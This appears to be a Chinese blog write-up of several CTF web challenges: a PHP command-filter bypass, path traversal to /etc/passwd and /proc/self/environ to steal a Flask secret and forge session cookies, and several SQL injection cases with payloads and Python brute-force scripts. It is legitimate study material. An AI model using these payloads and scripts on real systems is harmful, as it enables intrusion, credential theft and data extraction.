    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

------------------------------------------------------------------------------------------------------------------------
分析:首先$json接收request参数cmd
    然后对参数就行检查,如果不为字符串返回Hacking attempt detected
    如果preg_match()匹配有结果也会返回Hacking attempt detected
    两个判断后返回Attempting to run command:然后执行$json(传参cmd)进行json_decode()函数进行json解析,然后将key为cmd的键值对解析 value赋值给$cmd,然后执行system($cmd)
    可以看到源码中使用putenv('PATH=/home/rceservice/jail'); 配置系统环境变量,而我们用不了 cat 也有可能是在这个环境变量下没有这个二进制文件
    tips:Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
    因为;-@\[-`|~]+
    因为16进制的\x会被php自动解析所以\x00到\x1F都被过滤了,例子\x6c\x73为ls:
    -----------------------------
    php > system("\x6c\x73");  |
        c-jwt-cracker-master    |
        jwt-cracker             |
    -----------------------------
    除此之外还过滤了A-Z和0-9以及字符!#-\/;-@\[-`|~]+).*$
    想要使用/bin下面的命令就要绕过preg_match()
    绕过方法:
        方法一:
        换行绕过:preg_match只会去匹配第一行,所以这里可以用多行进行绕过
            使用payload {%0A"cmd":"ls /home/rceservice/jail"%0A} (%A是换行)得到回显 ls 一个文件,这也再一次说明当前环境下有 ls命            令 没有其它命令。
            使用payload {%0A"cmd":"ls /home/rceservice"%0A} 得到回显,flag jail 。因此得知 flag 在flag里。
            使用{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A} 得到flag
        方法二:
            利用PCRE回溯来绕过 preg_match
            回溯绕过原理:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html#0x04-pcre
            脚本:
            因为使用get请求会因为url过长返回414 Request-URI Too Large
            所以使用post传参:
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","key":"' + "a"*(900000) + '"}' ##一百万到八百万都可以,但是九十万和九千万都不行
res = requests.post("http://5d05b58d-32d8-42cc-8e78-d82c9fe49a32.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)

题目:[PASECA2019]honey_shop

考点:当前项目环境变量查看/proc/self/environ

![1628788609483](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628788609483.png)

看到有金钱1336但是买flag要1337,应该是要让金钱数值大于1337才行
看到一个点击提示链接
点击第一张图片会自动下载图片,跳转下载网址:
http://87442a15-f1cc-41e2-b82c-1320509a32a7.node4.buuoj.cn:81/download?image=1.jpg
尝试使用目录穿越/download?image=../../../../../../../../../../../../../../../../../../../../../../etc/passwd得到文件,

在cookie看到session:eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.YRVWNg.0_D48bQPOKyJKdqYpscY-bp7uwM
想到jwt,到https://jwt.io查看:

![1628788894246](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628788894246.png)

看到session解析后为金钱数值和购买的商品目录,

一开始尝试使用jwt-cracker破解加密密钥但是一直没有结果回复,可能是密钥太长

尝试其它方法获得加密密钥(目前我所知道的):

    1.查看当前项目环境变量/proc/self/environ
        /proc/self
        // 其路径指向当前进程
        /environ
        // 记录当前进程的环境变量信息
    2.SSTI注入使用{{config}}查看(有时候flag会直接放在这里)

在这里下载/proc/self/environ文件查看:

/download?image=../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

![1628789507673](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628789507673.png)

使用vi查看:

![1628789568882](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628789568882.png)

可以看到SECCRET_KEY参数:l8QPQpuivi4KKUSgXkiAcmYlrUoQRqAW7UsDRN00

一开始以为是可以通过jwt.io使用密钥获得金钱足够的session,但是后来发现并不行(上次遇到一个题cookies键值为jwt就是直接使用jwt-cracker破解密码然后在jwt.io生成cookies),不行的话那就用flask的session生成工具flask-unsign或flask-session-cookie-manager得到session

获取session方法一:

使用apt install flask-unsign获取flask-unsign工具但是失败了,

使用flask-unsign生成session的命令:

flask-unsign --cookie  "{'balance': 1338, 'purchases': []}"  --secret "l8QPQpuivi4KKUSgXkiAcmYlrUoQRqAW7UsDRN00"
获取session方法:

也可通过git clone https://github.com/noraj/flask-session-cookie-manager

获取flask-session的生成工具,下载后执行操作(操作py2和py3生成的session是不同的,根据上面的environ的python_pip_version可知网站py版本为3):

python3 flask_session_cookie_manager3.py encode -s "l8QPQpuivi4KKUSgXkiAcmYlrUoQRqAW7UsDRN00" -t "{'balance': 1338, 'purchases': []}"

![1628790501758](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628790501758.png)

![1628791301187](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628791301187.png)使用生成的session点击购买flag后抓包修改session:

session: eyJiYWxhbmNlIjoxMzM4LCJwdXJjaGFzZXMiOltdfQ.YRVe2A.kxDPVbBn41OhJ-OQpwhKupDmJxg

![1628790638459](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628790638459.png)

获得flag

题目:[RCTF2015]EasySQL

![1628823362332](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628823362332.png)

考点:二次注入

注册账户admin'"\
进入账户个人页面,发现一个change password
修改密码结果弹出报错语句:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\" and pwd='0cc175b9c0f1b6a831c399e269772661'' at line 1

![1628823543580](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628823543580.png)![1628823545653](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1628823545653.png)

因此根据报错猜测修改密码的查询语句为双:

select password from users where username="" and pwd='0cc175b9c0f1b6a831c399e269772661'

采取二次注入+报错注入的方法

分别申请以下账户名的账号,登陆后进入修改密码操作查看报错

但是在构造语句是注意过滤,有被过滤的字符串时会账户注册失败出现弹窗

使用burp抓包导入字典探测发现dateupxml和extravalue函数没过滤,注意空格不能用/*/代替因为被ban过滤了,可以使用括号()代替空格

另外mid,left,right,substr,ascii,char,sleep都被过滤了,所以就放弃时间盲注和二分法逐个字符截取探测数据了

查看表名
"^updatexml(1,reverse((select(group_concat(table_name))from(information_schema.columns)where(table_schema=database()))),1)#
得到有一个flag表,但是访问输出的是一个假的flag,在users表发现real_flag_1s_here字段

查看字段名
"^updatexml(1,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#

输出real_flag_1s_here字段但是因为只能看到32个字节只见到了xxx,xxx,xxx,xxx,
"^updatexml(1,reverse((select(group_concat(real_flag_1s_here))from(users))),1)#

使用正则得到flag但是没显示全
"^updatexml(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),1)#

使用reverse()反序输出flag得到后半段
"^updatexml(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

最后组合得到flag
源码:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/RCTF2015/easysql

题目:[NCTF2019]SQLi

![1629944395004](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629944395004.png)![1629944522699](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629944522699.png)

sqlquery : select * from users where username='aa' and passwd='a'
因为'被ban掉了,所以放弃字符串注入
采取注入方式注入
构造payload:  username=\&passwd=||1;\x00

进入到welcome界面

本地测试:

![1629945416020](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629945416020.png)![1629946317837](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629946317837.png)

注:\x09和\x0a也是一样的效果可以成功注释结尾的'(但是不知道为什么payload只能使用\x00才会成功执行命令)

#构造poc:
#coding:utf-8
import requests
import time
import string
url = "http://8e4de0b2-1d9b-4864-89ec-32e705800a2b.node4.buuoj.cn:81/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
#_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789(这是密码设置的一般字符)
#要测试全部的话用string.printable
print(str_list)
payload = ''
for n in range(100):
    print(n,end='\t')
    for i in str_list:
        data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
        res = requests.post(url = url, data = data)
        if 'welcome.php' in res.text:
            payload += i
            print(payload)
            break
        elif res.status_code == 429:
            time.sleep(1)
#注意:如果直接在登录框里面敲%00 那样会导致%00被转义而失去作用 在python脚本里面,通过使用parse.unquote('%00')表示不进行转义的%00 这样就能爆出密码 从而拿到flag            
得到密码you_will_never_know7788

![1629945759335](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629945759335.png)

回到页面登录admin
输入密码you_will_never_know7788990
在页面左上角获得flag

总结

结尾的单个注释可以用%00,\x00,\x0a,\x09,%09,%0a这些特殊截断符号注释
对登陆框的注入可以采用转义usernaame的第二个单引号再结合\x00截断结尾完成注入
采取regexp的方式对字段逐个匹配,找到完整的字符串(string.printable)

题目:[网鼎杯 2018]Comment

一个大佬的wp带有git的解说:https://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html

![1629190673222](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629190673222.png)=

考点:密码爆破,代码审计,sql注入

点击发帖输入数据转到登录界面

![1629190771179](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629190771179.png)

burp爆破得到密码zhangwei666
提交数据a,b,c回显如下,然后点击详情

![1629190856947](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629190856947.png)

![1629190870346](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629190870346.png)

开始尝试二次注入失败,一直没有理想的回显

然后进行目录扫描发现.git文件

使用githack工具获得.git文件

但是获得的文件只有一小部分路由跳转没啥用,使用命令查看记录

git log --all

![1629191219412](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629191219412.png![1629192802266](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629192802266.png)

![1629193505784](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629193505784.png)

得到源码:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

因为write.php提交页面上传的数据都经过addslashes()操作,所以输入的\, ", ' 这些符号都会按照原样放入数据库

但是在comment.php(详情页面)的位置有取出数据操作,且取出的数据没有进行addslashes()操作导致二次注入

又因为CATEGORY参数在最前面,CONTENT参数跟在后面,所以可以让CATEGORY结尾为/*,CONTENT为*/#,从而注释掉中间的','原数据和注释后面的数据

所以构造payload:

title=23&category=1',content=database(),/*&content=3123
在详情页面输入*/#然后提交,得到回显ctf

![1629194388952](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629194388952.png)

想按照寻常方法information.schema爆出flag但是失败了,但是因为user()是root,所以尝试使用load_file()导出文件查看,但是有一说一,这个flag文件我是真找不到,常见的放flag目录都试过了

====================================================================================================================
学习一下git:

![1629192047086](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629192047086.png)

├── HEAD   
├── config # 存放git的一些信息
├── description
├── hooks
├── index
├── info
│   └── exclude
├── objects # 存放对象文件
│   ├── 0c
│   │   └── 14454dd8d472ef27843ac8c86bdba161c27a03
│   ├── info
│   └── pack
└── refs
    ├── heads
    └── tags

![1629192085816](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629192085816.png)

f = open("14454dd8d472ef27843ac8c86bdba161c27a03","r").read()
import zlib
print zlib.decompress(f)
可以看到下面是新生成了一个tree对象、commit对象

看下commit对象内容,可以找到tree对象的一些信息

![1629192113282](C:\Users\Pang S.R\AppData\Roaming\Typora\typora-user-images\1629192113282.png)

获取其他的分支、tag,都可以从/.git/refs/heads、/.git/refs/tag里面拿到最新的commit对象id,然后就是顺着这个可以爬到parent commit

假设获取master,最新的commit的object id可以在/.git/refs/heads/master获取到

3、具有场景型,协同合作时,远程代码有更新,即本地代码不是最新版本。为了避免出现版本冲突可以使用git stash将这部分暂存起来,然后便可以执行git pull,暂存的内容便会存放到/.git/refs/stash,此处我并未使用git commit
git add 添加文件到stage
git commit  提交
git log --all   查看全部日志
git reset --hard HEAD   回滚
.git/logs/HEAD  文件,记录所有历史
git gc  会打包object生成pack文件。但是有种情况便是git push失败的时候,一般push时候会打包一下,但是失败的时候并不会解压出来
git unpack-objects < xxx.pack    恢复pack文件包
git show 查看内容

1.git log -all 查看全部commix
2.git cat-file -p [commix]  查看文件tree
3.git ls-tree [tree]    查看文件列表并得到其Blob值
4.git cat-file -p [Blob]    查看文件内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇